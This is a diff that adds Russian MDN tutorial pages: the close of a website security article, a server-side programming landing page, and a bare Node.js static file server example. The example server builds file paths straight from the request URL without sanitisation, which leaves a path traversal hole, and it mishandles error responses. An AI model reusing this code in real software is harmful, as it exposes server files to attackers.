href="https://www.owasp.org/index.php/Category:Attack">Category: Attack</a> (Open Web Application Security Project).</p> + +<h2 id="Несколько_ключевых_сообщений">Несколько ключевых сообщений</h2> + +<p>Почти все эксплойты безопасности, описанные в предыдущих разделах, успешны, когда веб-приложение доверяет данным из браузера. Что бы вы ни делали для повышения безопасности своего веб-сайта, вы должны дезинфицировать все данные, исходящие от пользователей, прежде чем они будут отображаться в браузере, использоваться в запросах SQL или передаваться в вызов операционной системы или файловой системы.</p> + +<div class="warning"> +<p>Внимание! Самый важный урок, который вы можете извлечь о безопасности веб-сайтов: <strong>никогда не доверяйте данным из браузера</strong>. Это включает, помимо прочего, данные в параметрах URL-адресов запросов <code>GET</code>, запросов <code>POST</code>, заголовков HTTP и файлов cookie, а также файлов, загруженных пользователем. Всегда проверяйте и дезинфицируйте все входящие данные. Всегда предполагайте худшее!</p> +</div> + +<p>Вы можете предпринять ряд других конкретных шагов:</p> + +<ul> + <li>Используйте более эффективное управление паролями. Поощряйте регулярную смену надежных паролей. Рассмотрите возможность двухфакторной аутентификации для вашего сайта, чтобы в дополнение к паролю пользователь должен был ввести другой код аутентификации (обычно тот, который доставляется через какое-то физическое оборудование, которое будет иметь только пользователь, например, код в SMS, отправленном на его телефон).</li> + <li>Настройте свой веб-сервер для использования <a href="/en-US/docs/Glossary/https">HTTPS</a> и <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS шифрует данные, передаваемые между вашим клиентом и сервером. Это гарантирует, что учетные данные для входа, файлы cookie, данные запросов <code>POST</code> и информация заголовка не будут легко доступны для злоумышленников.</li> + <li>Следите за наиболее популярными угрозами (<a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">текущий список OWASP находится здесь</a>) и в первую очередь устраняйте наиболее распространенные уязвимости.</li> + <li>Используйте <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">инструменты сканирования уязвимостей</a>, чтобы выполнить автоматическое тестирование безопасности на вашем сайте. Позже ваш очень успешный веб-сайт может также обнаруживать ошибки, предлагая вознаграждение за обнаружение ошибок, как это <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">делает здесь</a> Mozilla.</li> + <li>Храните и отображайте только те данные, которые вам нужны. Например, если ваши пользователи должны хранить конфиденциальную информацию, такую как данные кредитной карты, отображайте часть номера карты только для того, чтобы он мог быть идентифицирован пользователем, и недостаточно, чтобы его мог скопировать злоумышленник и использовать на другом сайте. Самый распространенный шаблон в настоящее время - отображение только последних 4 цифр номера кредитной карты.</li> +</ul> + +<p>Веб-фреймворки могут помочь смягчить многие из наиболее распространенных уязвимостей.</p> + +<h2 id="Резюме">Резюме</h2> + +<p>В этой статье объясняется концепция веб-безопасности и некоторые из наиболее распространенных угроз, от которых ваш веб-сайт должен пытаться защититься. Самое главное, вы должны понимать, что веб-приложение не может доверять никаким данным из веб-браузера. Все пользовательские данные должны быть очищены перед отображением или использованием в SQL-запросах и вызовах файловой системы.</p> + +<p>Этой статьей вы подошли к концу <a href="/en-US/docs/Learn/Server-side/First_steps">этого модуля</a>, охватывающего ваши первые шаги в программировании на стороне сервера. Мы надеемся, что вам понравилось изучать эти фундаментальные концепции, и теперь вы готовы выбрать веб-платформу и начать программировать.</p> + +<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> + +<h2 id="В_этом_модуле">В этом модуле</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/First_steps/Introduction">Введение в серверную часть</a></li> + <li><a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Обзор технологии клиент-сервер</a></li> + <li><a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Серверные веб-фреймворки</a></li> + <li><a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Безопасность веб-сайта</a></li> +</ul> diff --git a/files/ru/learn/server-side/index.html b/files/ru/learn/server-side/index.html new file mode 100644 index 0000000000..306d52ad79 --- /dev/null +++ b/files/ru/learn/server-side/index.html @@ -0,0 +1,54 @@ +--- +title: Серверное программирование веб-сайтов +slug: Learn/Server-side +tags: + - Beginner + - CodingScripting + - Intro + - Landing + - Learn + - NeedsTranslation + - Server + - Server-side programming + - Topic + - TopicStub +translation_of: Learn/Server-side +--- +<div>{{LearnSidebar}}</div> + +<p class="summary"><strong>Тема<em> Динамические веб-сайты </em></strong>– <em><strong>серверное программирование</strong></em> состоит из ряда модулей, рассматривающих создание динамических веб-сайтов; сайтов, которые доставляют персонализированную информацию в ответ на HTTP запрос. Этот модуль предоставляет общее введение в серверное программирование, наряду со специальными руководствами начального уровня о том, как использовать Django (Python) и Express (Node.js/JavaScript) веб-фреймворки для создания простых приложений.</p> + +<p>Подавляющее большинство вебсайтов используют какую-либо из серверных технологий для динамического отображения различных требуемых данных. К примеру, вообразите себе сколь много товаров доступны на Amazon, и представьте как много постов расположено на Facebook? Отображение всех их посредством отдельных статических страниц было бы крайне неэффективно, вместо этого подобные сайты используют шаблоны (созданные из <a href="/ru/docs/Learn/HTML">HTML</a>, <a href="/ru/docs/Learn/CSS">CSS</a>, и <a href="/ru/docs/Learn/JavaScript">JavaScript</a>), и затем динамически обновляют данные, отображаемые внутри этих шаблонов, когда это необходимо , т.е. когда вы хотите увидеть другой товар на Amazon.</p> + +<p>В современном мире веб-разработки крайне рекомендуется изучить разработку на стороне сервера.</p> + +<h2 id="Программа_обучения">Программа обучения</h2> + +<p>Начинать с серверного программировния обычно легче, чем с разработки на стороне клиента, поскольку динамические веб-сайты склонны производить множество однообразных операций (извлекать данные из базы данных и помещать их на странице, подтверждать пользовательский ввод и сохранять его в базе данных, проверять пользовательские права и выполнение входа, и.т.д.) и сконструированы с использованием веб-фреймворков, которые выполняют эти и другие привычные веб-серверу операции с легкостью.</p> + +<p>Общее понимание концепций программирования (или определенного программного языка) будет полезным, но не обязательным. Сходным образом, опыт программирования на клиентской стороне не требуется, но базовое знание поможет вам успешнее взаимодействовать с разработчиками клиентской стороны веб-приложения - "фронтэнда".</p> + +<p>Вам потребуется понимать "как работает веб". Мы рекомендуем вам сначала ознакомиться с темами:</p> + +<ul> + <li><a href="/ru/docs/Learn/Что_такое_веб_сервер">Что такое веб-сервер</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">Какое ПО мне нужно для построения веб-сайта?</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">Как заливать файлы на веб-сервер?</a></li> +</ul> + +<p>С этим базовым набором знаний вы будете готовы освоить модули в этой секции.</p> + +<h2 id="Модули">Модули</h2> + +<p>Эта тема состоит из следующих модулей. Начинайте с самого первого модуля, а затем переходите на выбор к любому из двух следующих, рассматривающих работу с парой популярных серверных языков с использованием соответствующих веб-фреймворков. </p> + +<dl> + <dt><a href="/ru/docs/Learn/Server-side/First_steps">Первые шаги в программировании веб-сайтов на стороне сервера</a></dt> + <dd>Этот модуль посвящен информации о технологиях программирования веб-сайтов на стороне сервера, попутно отвечая и на фундаментальные вопросы о серверном программировании — "что это такое", "чем оно отличается от программирования на стороне клиента", и "почему оно так востребовано" — и обозревая некоторые из наиболее популярных серверных веб-фреймворков, а также объясняя как выбрать подходящий для вашего сайта. Напоследок мы организуем вводный раздел о безопасности веб-сервера.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Django">Веб-фреймворк Django (Python)</a></dt> + <dd>Django является чрезвычайно популярным и полнофункциональным серверным веб-фреймворком, написанным на Python. Этот модуль объяснит почему Django настолько хороший серверный веб-фреймворк, как установить среду разработки и как с его помощью можно выполнять привычные задачи.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Express_Nodejs">Веб-фреймворк Express (Node.js/JavaScript)</a></dt> + <dd>Express - популярный веб-фреймворк, написанный на JavaScript и размещенный в среде окружения node.js. Модуль объясняет некоторые из ключевых преимуществ этой структуры, как настроить среду разработки и как выполнять общие задачи для веб-разработки и развертывания.</dd> + <dt><a href="https://developer.mozilla.org/ru/docs/Learn/Server-side/Node_server_without_framework">Сервер на Node без фреймворков</a></dt> + <dd>В этой статье представлен простой статический файловый сервер, построенный с использованием чистого Node.js, для тех из вас, кто не хочет использовать фреймворк.</dd> +</dl> diff --git a/files/ru/learn/server-side/node_server_without_framework/index.html b/files/ru/learn/server-side/node_server_without_framework/index.html new file mode 100644 index 0000000000..087627c20a --- /dev/null +++ b/files/ru/learn/server-side/node_server_without_framework/index.html @@ -0,0 +1,84 @@ +--- +title: Node.js server without a framework +slug: Learn/Server-side/Node_server_without_framework +translation_of: Learn/Server-side/Node_server_without_framework +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">Здесь вы найдете описание простого статического сервера, который построен сугубо на Node.js без использования какого-либо фреймворка .</p> + +<p><a href="https://nodejs.org/en/">Node.js</a> может использовать множество фреймворков, которые могут помочь создать сервер</p> + +<p>Наиболее популярные:</p> + +<ul> + <li><a href="http://expressjs.com/">Express</a>: Один из наиболее популярных фреймворков.</li> + <li><a href="https://hapijs.com/">Hapi.js</a>: Набирающий популярность фреймворк для построения приложений и сервисов</li> + <li><a href="https://www.totaljs.com/">Total</a>: Этот фреймворк имеет богатый функционал и не требует каких-либо дополнительных фреймворков или библиотек.</li> +</ul> + +<p>Конечно-же эти фреймворки могут и не подойти для каждого конкретного случая. Именно поэтому нужно знать как все работает изнутри, чтобы быть готовым сделать свой собственный сервер без каких-либо дополнительных зависимостей.</p> + +<h2 id="Пример">Пример</h2> + +<p>Вот так выглядит статический сервер на Node.js:</p> + +<pre class="brush: js">var http = require('http'); +var fs = require('fs'); +var path = require('path'); + +http.createServer(function (request, response) { + console.log('request ', request.url); + + var filePath = '.' + request.url; + if (filePath == './') { + filePath = './index.html'; + } + + var extname = String(path.extname(filePath)).toLowerCase(); + var contentType = 'text/html'; + var mimeTypes = { + '.html': 'text/html', + '.js': 'text/javascript', + '.css': 'text/css', + '.json': 'application/json', + '.png': 'image/png', + '.jpg': 'image/jpg', + '.gif': 'image/gif', + '.wav': 'audio/wav', + '.mp4': 'video/mp4', + '.woff': 'application/font-woff', + '.ttf': 'application/font-ttf', + '.eot': 'application/vnd.ms-fontobject', + '.otf': 'application/font-otf', + '.svg': 'application/image/svg+xml' + }; + + contentType = mimeTypes[extname] || 'application/octet-stream'; + + fs.readFile(filePath, function(error, content) { + if (error) { + if(error.code == 'ENOENT'){ + fs.readFile('./404.html', function(error, content) { + response.writeHead(200, { 'Content-Type': contentType }); + response.end(content, 'utf-8'); + }); + } + else { + response.writeHead(500); + response.end('Sorry, check with the site admin for error: '+error.code+' ..\n'); + response.end(); + } + } + else { + response.writeHead(200, { 'Content-Type': contentType }); + response.end(content, 'utf-8'); + } + }); + +}).listen(8125); +console.log('Server running at http://127.0.0.1:8125/');</pre> + +<h2 id="Задание">Задание</h2> + +<p>Попробуйте добавить в этот код описание как работает этот код. Как вариант еще можно добавить функционал динамических запросов.</p> |